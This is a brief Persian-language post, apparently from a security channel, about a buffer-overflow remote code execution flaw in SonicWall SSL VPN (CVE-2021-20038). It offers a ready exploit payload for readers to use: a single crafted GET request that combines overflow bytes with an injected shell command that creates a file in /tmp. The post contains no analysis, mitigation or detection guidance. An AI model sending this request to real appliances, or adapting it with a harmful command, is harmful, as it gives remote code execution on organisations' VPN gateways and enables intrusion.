اسیب پذیری RCE در Sonicwall SSL VPN(CVE-2021-20038)

[zerod4y]

با Payload زیر میتونید از این اسیب پذیری استفاده کنید.
این اسیب پذیری با استفاده از BOF(Buffer-Over-Flow) به وجود امده

GET /%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf%64%b8%06%08;{touch,/tmp/lol};%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf%64%b8%06%08;{touch,/tmp/lol};?aaaaaaaa